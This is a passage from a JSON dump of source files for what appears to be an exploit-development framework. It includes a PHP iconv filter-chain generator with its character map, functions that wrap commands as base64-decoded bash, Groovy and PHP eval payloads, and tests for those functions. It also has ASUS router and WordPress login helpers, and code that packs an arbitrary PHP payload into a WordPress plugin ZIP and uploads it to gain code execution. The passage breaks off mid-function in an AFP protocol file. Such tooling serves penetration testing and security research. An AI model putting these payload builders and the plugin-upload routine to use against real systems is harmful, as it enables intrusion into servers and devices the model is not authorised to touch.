\"convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5\",\n\t\"E\": \"convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT\",\n\t\"e\": \"convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937\",\n\t\"F\": \"convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB\",\n\t\"f\": \"convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213\",\n\t\"g\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8\",\n\t\"G\": \"convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90\",\n\t\"H\": \"convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213\",\n\t\"h\": \"convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE\",\n\t\"I\": \"convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213\",\n\t\"i\": \"convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000\",\n\t\"J\": \"convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4\",\n\t\"j\": \"convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16\",\n\t\"K\": \"convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE\",\n\t\"k\": \"convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2\",\n\t\"L\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC\",\n\t\"l\": \"convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE\",\n\t\"M\": \"convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T\",\n\t\"m\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949\",\n\t\"N\": \"convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4\",\n\t\"n\": \"convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61\",\n\t\"O\": \"convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775\",\n\t\"o\": \"convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE\",\n\t\"P\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB\",\n\t\"p\": \"convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4\",\n\t\"q\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2\",\n\t\"Q\": \"convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2\",\n\t\"R\": \"convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4\",\n\t\"r\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101\",\n\t\"S\": \"convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS\",\n\t\"s\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90\",\n\t\"T\": \"convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103\",\n\t\"t\": \"convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS\",\n\t\"U\": \"convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943\",\n\t\"u\": \"convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61\",\n\t\"V\": \"convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB\",\n\t\"v\": \"convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2\",\n\t\"W\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936\",\n\t\"w\": \"convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE\",\n\t\"X\": \"convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932\",\n\t\"x\": \"convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS\",\n\t\"Y\": \"convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361\",\n\t\"y\": \"convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT\",\n\t\"Z\": \"convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16\",\n\t\"z\": \"convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937\",\n\t\"/\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4\",\n\t// RFC 3501 variant '/'\n\t\",\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4\",\n\t// URL safe variant '/'\n\t\"_\": \"convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4\",\n\t\"+\": \"convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157\",\n\t// URL safe variant '+'\n\t\"-\": \"convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157\",\n\t\"=\": \"\",\n}\n\n// Base64 encodes the command. Wraps it in logic to base64 decode and pipe to bash.\nfunc Base64EncodeForBash(cmd string) string {\n\tcmd64 := b64.StdEncoding.EncodeToString([]byte(cmd))\n\n\treturn fmt.Sprintf(\"echo %s|base64 -d|bash\", cmd64)\n}\n\n// Base64 encodes the command. Wraps it in logic to base64 decode and evaluate it in Groovy.\nfunc Base64EncodeForGroovyEval(cmd string) string {\n\tcmd64 := b64.StdEncoding.EncodeToString([]byte(cmd))\n\n\treturn fmt.Sprintf(\"Eval.me(new String('%s'.decodeBase64()))\", cmd64)\n}\n\n// Base64 encodes the command. Wraps it in logic to base64 decode and evaluate it in PHP.\nfunc Base64EncodeForPHPEval(cmd string) string {\n\tcmd64 := b64.StdEncoding.EncodeToString([]byte(cmd))\n\n\treturn fmt.Sprintf(`<?php eval(base64_decode(\"%s\")); ?>`, cmd64)\n}\n\n// Creates a valid PHP filter string from an input. Normally these are PHP payloads, but there are\n// exceptions. This is based on the techniques identified in: https://gynvael.coldwind.pl/?id=671\nfunc PHPIconvFilter(chain string) string {\n\tchain = b64.StdEncoding.EncodeToString([]byte(chain))\n\tchain = strings.ReplaceAll(chain, \"=\", \"\")\n\trevChain := \"\"\n\tfor _, v := range chain {\n\t\trevChain = string(v) + revChain\n\t}\n\tfilter := \"convert.iconv.UTF8.CSISO2022KR|\" + \"convert.base64-encode|\" + \"convert.iconv.UTF8.UTF7|\"\n\tfor _, character := range revChain {\n\t\t// Normally this would be bad to convert a rune to a string, but in this specific\n\t\t// case we know we are using a base64 encoded string so it should be safe.\n\t\tfilter += phpFilterMap[string(character)] + \"|\"\n\t\tfilter += \"convert.base64-decode|\" + \"convert.base64-encode|\" + \"convert.iconv.UTF8.UTF7|\"\n\t}\n\tfilter += \"convert.base64-decode\"\n\n\treturn `php://filter/` + filter + `/resource=php://temp`\n}\n"
  },
  {
    "path": "payload/wrapper_test.go",
    "content": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestBase64EncodeForBash(t *testing.T) {\n\tencoded := payload.Base64EncodeForBash(\"whoami; id;\")\n\n\tif encoded != \"echo d2hvYW1pOyBpZDs=|base64 -d|bash\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestBase64EncodeForGroovyEval(t *testing.T) {\n\tencoded := payload.Base64EncodeForGroovyEval(\"def f = new File('/tmp/vvNddILf');\")\n\n\tif encoded != \"Eval.me(new String('ZGVmIGYgPSBuZXcgRmlsZSgnL3RtcC92dk5kZElMZicpOw=='.decodeBase64()))\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestBase64EncodeFoPHPEval(t *testing.T) {\n\tencoded := payload.Base64EncodeForPHPEval(`print(\"hi\");`)\n\n\tif encoded != `<?php eval(base64_decode(\"cHJpbnQoImhpIik7\")); ?>` {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestPHPIconvFilter(t *testing.T) {\n\tfilter := payload.PHPIconvFilter(`tuned to a dead channel`)\n\n\t// Sorry for the long string :|\n\tif filter != `php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp` {\n\t\tt.Fatal(filter)\n\t}\n\tt.Log(filter)\n}\n"
  },
  {
    "path": "product/asus/asus.go",
    "content": "// Package asus\n// Contains HTTP utilities for communicating with Asus products\npackage asus\n\nimport (\n\t\"encoding/base64\"\n\t\"net/http\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// ASUS HTTP router CGI authentication.\nfunc RouterAuthenticate(conf *config.Config, origin string, username string, pass string) (string, bool) {\n\theaders := map[string]string{\n\t\t\"Referer\": origin + \"/Main_Login.asp\",\n\t\t\"Origin\":  origin,\n\t}\n\tparams := map[string]string{\n\t\t\"group_id\":            \"\",\n\t\t\"action_mode\":         \"\",\n\t\t\"action_script\":       \"\",\n\t\t\"action_wait\":         \"5\",\n\t\t\"current_page\":        \"Main_Login.asp\",\n\t\t\"next_page\":           \"index.asp\",\n\t\t\"login_authorization\": base64.StdEncoding.EncodeToString([]byte(username + \":\" + pass)),\n\t\t\"login_captcha\":       \"\",\n\t}\n\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/login.cgi\")\n\tresp, _, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders(\"POST\", url, params, headers)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\toutput.PrintfFrameworkError(\"Received an unexpected HTTP status code: %d\", resp.StatusCode)\n\n\t\treturn \"\", false\n\t}\n\n\tcookie := protocol.ParseCookies(resp)\n\tif cookie == \"\" {\n\t\toutput.PrintFrameworkError(\"Login failed: no cookie was returned\")\n\n\t\treturn \"\", false\n\t}\n\n\toutput.PrintFrameworkSuccess(\"Login successful\")\n\n\treturn cookie, true\n}\n"
  },
  {
    "path": "product/product.go",
    "content": "// Per-product code to reduce copy-and-pasting for common targets.\npackage product\n"
  },
  {
    "path": "product/wordpress/plugins.go",
    "content": "package wordpress\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Plugin stub is required for WordPress to successfully validate that the\n// uploaded ZIP is a WordPress Plugin.\nvar pluginStub = `<?php\n/*\n * Plugin Name: %s\n * Version: %s \n * Author: %s \n * Author URI: %s \n * License: GPL2\n */\n?>`\n\nvar (\n\tPluginInstallPath = `wp-admin/plugin-install.php`\n\tPluginUpdatePath  = `wp-admin/update.php`\n\tPluginEditPath    = `wp-admin/plugin-editor.php`\n)\n\n// Get the nonce required for administrative plugin actions.\nfunc getPluginNonce(conf *config.Config, cookies []*http.Cookie, path string) (string, bool) {\n\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/\"+path)\n\tcookieString := protocol.CookieString(cookies)\n\theaders := map[string]string{\n\t\t\"Cookie\": cookieString,\n\t}\n\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"GET\", url, \"\", headers)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"WordPress plugin install nonce retrieval failed\")\n\t\toutput.PrintfFrameworkDebug(\"resp=%#v body=%q\", resp, body)\n\n\t\treturn \"\", false\n\t}\n\tre := regexp.MustCompile(`id=\"_wpnonce\" name=\"_wpnonce\" value=\"([a-z0-9]+)\"`)\n\tmatches := re.FindStringSubmatch(body)\n\tif len(matches) < 2 {\n\t\toutput.PrintFrameworkError(\"Could not find WordPress nonce for plugin upload\")\n\n\t\treturn \"\", false\n\t}\n\n\treturn matches[1], true\n}\n\n// Generates a ZIP containing the minimum requirement for a WordPress plugin and the provided\n// payload. This function returns the name of the internal payload and generally will be resolved to\n// `/wp-content/plugins/<name>/<payloadName>`.\nfunc GeneratePlugin(payload, name string) (string, []byte, bool) {\n\tbuf := new(bytes.Buffer)\n\tw := zip.NewWriter(buf)\n\n\tpayloadName := random.RandLetters(10) + \".php\"\n\tfiles := []struct {\n\t\tName, Body string\n\t}{\n\t\t{\n\t\t\tname + \".php\", fmt.Sprintf(pluginStub,\n\t\t\t\tname, // Plugin name\n\t\t\t\trandom.RandDigits(2)+\".\"+random.RandDigits(2)+\".\"+random.RandDigits(2), // Version\n\t\t\t\trandom.RandLetters(10),               // Author\n\t\t\t\t\"https://\"+random.RandHex(10)+\".org\", // URI\n\t\t\t),\n\t\t},\n\t\t{payloadName, payload},\n\t}\n\tfor _, file := range files {\n\t\tf, err := w.Create(file.Name)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"WordPress Plugin failed to generate: %e\", err)\n\n\t\t\treturn \"\", []byte{}, false\n\t\t}\n\t\t_, err = f.Write([]byte(file.Body))\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"WordPress Plugin failed to generate: %e\", err)\n\n\t\t\treturn \"\", []byte{}, false\n\t\t}\n\t}\n\terr := w.Close()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"WordPress Plugin failed to generate: %e\", err)\n\n\t\treturn \"\", []byte{}, false\n\t}\n\n\treturn payloadName, buf.Bytes(), true\n}\n\n// Uploads a ZIP based plugin for WordPress.\nfunc UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byte, name string) (string, bool) {\n\tnonce, ok := getPluginNonce(conf, cookies, PluginInstallPath)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tbuilder, w := protocol.MultipartCreateForm()\n\tprotocol.MultipartAddField(w, \"_wpnonce\", nonce)\n\tprotocol.MultipartAddField(w, \"_wp_http_referer\", PluginInstallPath+\"?tab=upload\")\n\tprotocol.MultipartAddFile(w, \"pluginzip\", name+\".zip\", \"application/octet-stream\", string(zip))\n\tprotocol.MultipartAddField(w, \"Install Now\", \"install-plugin-submit\")\n\tcookieString := protocol.CookieString(cookies)\n\theaders := map[string]string{\n\t\t\"Content-Type\": w.FormDataContentType(),\n\t\t\"Cookie\":       cookieString,\n\t}\n\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/\"+PluginUpdatePath+\"?action=upload-plugin\")\n\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"POST\", url, builder.String(), headers)\n\tif !ok || resp.StatusCode != http.StatusOK {\n\t\toutput.PrintFrameworkError(\"WordPress plugin upload failed\")\n\t\toutput.PrintfFrameworkDebug(\"resp=%#v body=%q\", resp, body)\n\n\t\treturn \"\", false\n\t}\n\turl = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/wp-content/plugins/\"+name)\n\n\treturn url, true\n}\n"
  },
  {
    "path": "product/wordpress/wordpress.go",
    "content": "// WordPress automation wrappers\npackage wordpress\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nvar LoginPath = `wp-login.php`\n\n// Attempts to log into the WordPress instance and if successful return the cookies set by\n// WordPress.\nfunc Login(conf *config.Config, username, password string) ([]*http.Cookie, bool) {\n\tform := url.Values{}\n\tform.Add(\"log\", username)\n\tform.Add(\"pwd\", password)\n\tform.Add(\"wp-submit\", \"Login\")\n\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/\"+LoginPath)\n\tform.Add(\"redirect_to\", url+\"#\"+random.RandLettersRange(10, 20))\n\theaders := map[string]string{\n\t\t\"Content-Type\": \"application/x-www-form-urlencoded\",\n\t}\n\tresp, body, ok := protocol.HTTPSendAndRecvWithHeadersNoRedirect(\"POST\", url, form.Encode(), headers)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"WordPress login failed\")\n\t\toutput.PrintfFrameworkDebug(\"resp=%#v body=%q\", resp, body)\n\n\t\treturn []*http.Cookie{}, false\n\t}\n\tlocation, err := resp.Location()\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"WordPress did not return a redirect\")\n\n\t\treturn []*http.Cookie{}, false\n\t}\n\tif location.String() != form[\"redirect_to\"][0] {\n\t\toutput.PrintFrameworkError(\"WordPress did not redirect to the expected location\")\n\n\t\treturn []*http.Cookie{}, false\n\t}\n\tif len(resp.Cookies()) < 1 {\n\t\toutput.PrintFrameworkError(\"WordPress did respond with cookies\")\n\n\t\treturn []*http.Cookie{}, false\n\t}\n\tfor _, cookie := range resp.Cookies() {\n\t\tif strings.Contains(strings.ToLower(cookie.Name), \"wordpress\") {\n\t\t\treturn resp.Cookies(), true\n\t\t}\n\t}\n\n\toutput.PrintFrameworkError(\"WordPress cookie not found\")\n\n\treturn []*http.Cookie{}, false\n}\n"
  },
  {
    "path": "protocol/afp/afp.go",
    "content": "// AFP network protocol\npackage afp\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\nconst (\n\tDSICloseSession                    = byte(0x1)\n\tDSICommand                         = byte(0x2)\n\tDSIGetStatus                       = byte(0x3)\n\tDSIOpenSession                     = byte(0x4)\n\tDSITickle                          = byte(0x5)\n\tDSIWrite                           = byte(0x6)\n\tDSIAttention                       = byte(0x8)\n\tAFPByteLock                        = 0x01\n\tAFPCloseVol                        = 0x02\n\tAFPCloseDir                        = 0x03\n\tAFPCloseFork                       = 0x04\n\tAFPCopyFile                        = 0x05\n\tAFPCreateDir                       = 0x06\n\tAFPCreateFile                      = 0x07\n\tAFPDelete                          = 0x08\n\tAFPEnumerate                       = 0x09\n\tAFPFlush                           = 0x0a\n\tAFPFlushFork                       = 0x0b\n\tAFPGetForkParams                   = 0x0e\n\tAFPGetSrvrInfo                     = 0x0f\n\tAFPGetSrvrParams                   = 0x10\n\tAFPGetVolParams                    = 0x11\n\tAFPLogin                           = 0x12\n\tAFPLoginCont                       = 0x13\n\tAFPLogout                          = 0x14\n\tAFPMapID                           = 0x15\n\tAFPMapName                         = 0x16\n\tAFPMoveAndRename                   = 0x17\n\tAFPOpenVol                         = 0x18\n\tAFPOpenDir                         = 0x19\n\tAFPOpenFork                        = 0x1a\n\tAFPRead                            = 0x1b\n\tAFPRename                          = 0x1c\n\tAFPSetDirParams                    = 0x1d\n\tAFPSetFileParams                   = 0x1e\n\tAFPSetForkParams                   = 0x1f\n\tAFPSetVolParams                    = 0x20\n\tAFPWrite                           = 0x21\n\tAFPGetFileDirParams                = 0x22\n\tAFPSetFileDirParams                = 0x23\n\tAFPChangePW                        = 0x24\n\tAFPGetUserInfo                     = 0x25\n\tAFPGetSrvrMesg                     = 0x26\n\tAFPCreateID                        = 0x27\n\tAFPDeleteID                        = 0x28\n\tAFPResolveID                       = 0x29\n\tAFPExchangeFiles                   = 0x2a\n\tAFPCatSearch                       = 0x2b\n\tAFPOpenDT                          = 0x30\n\tAFPCloseDT                         = 0x31\n\tAFPGetIcon                         = 0x33\n\tAFPGetIconInfo                     = 0x34\n\tAFPAddAppl                         = 0x35\n\tAFPRmvAppl                         = 0x36\n\tAFPGetAppl                         = 0x37\n\tAFPAddComment                      = 0x38\n\tAFPRmvComment                      = 0x39\n\tAFPGetComment                      = 0x3a\n\tAFPReadExt                         = 0x3c\n\tAFPWriteExt                        = 0x3d\n\tAFPGetExtAttr                      = 0x45\n\tAFPSetExtAttr                      = 0x46\n\tVolBitmapAttributes                = 0x1\n\tVolBitmapSignature                 = 0x2\n\tVolBitmapCreationDate              = 0x4\n\tVolBitmapModificationDate          = 0x8\n\tVolBitmapBackupDate                = 0x10\n\tVolBitmapID                        = 0x20\n\tVolBitmapBytesFree                 = 0x40\n\tVolBitmapBytesTotal                = 0x80\n\tVolBitmapName                      = 0x100\n\tVolBitmapExtendedBytesFree         = 0x200\n\tVolBitmapExtendedBytesTotal        = 0x400\n\tVolBitmapBlockSize                 = 0x800\n\tFileBitmapAttributes               = 0x1\n\tFileBitmapParentDirID              = 0x2\n\tFileBitmapCreationDate             = 0x4\n\tFileBitmapModificationDate         = 0x8\n\tFileBitmapBackupDate               = 0x10\n\tFileBitmapFinderInfo               = 0x20\n\tFileBitmapLongName                 = 0x40\n\tFileBitmapShortName                = 0x80\n\tFileBitmapNodeID                   = 0x100\n\tFileBitmapDataForkSize             = 0x200\n\tFileBitmapResourceForkSize         = 0x400\n\tFileBitmapExtendedDataForkSize     = 0x800\n\tFileBitmapLaunchLimit              = 0x1000\n\tFileBitmapUTF8Name                 = 0x2000\n\tFileBitmapExtendedResourceForkSize = 0x4000\n\tFileBitmapUnixPrivileges           = 0x8000\n\tFileBitmapALL                      = 0xFFFF\n\tDirBitmapAttributes                = 0x1\n\tDirBitmapParentDirID               = 0x0\n\tDirBitmapCreationDate              = 0x4\n\tDirBitmapModificationDate          = 0x8\n\tDirBitmapBackupDate                = 0x10\n\tDirBitmapFinderInfo                = 0x20\n\tDirBitmapLongName                  = 0x40\n\tDirBitmapShortName                 = 0x80\n\tDirBitmapNodeID                    = 0x100\n\tDirBitmapOffspringCount            = 0x200\n\tDirBitmapOwnerID                   = 0x400\n\tDirBitmapGroupID                   = 0x800\n\tDirBitmapAccessRights              = 0x1000\n\tDirBitmapUTF8Name                  = 0x2000\n\tDirBitmapUnixPrivileges            = 0x8000\n\tDirBitmapALL                       = 0xBFFF\n\tAccessModeRead                     = 0x1\n\tAccessModeWrite                    = 0x2\n\tAccessModeDenyRead                 = 0x10\n\tAccessModeDenyWrite                = 0x20\n)\n\ntype Header struct {\n\tFlags           uint8\n\tCommand         uint8\n\tRequestID       uint16\n\tErrorCode       uint32\n\tTotalDataLength uint32\n\tReserved        uint32\n}\n\ntype FPPacket struct {\n\tHeader Header\n\tBody   []byte\n}\n\n// encode an FPPacket to bytes.\nfunc (d *Header) Encode() []byte {\n\treturn 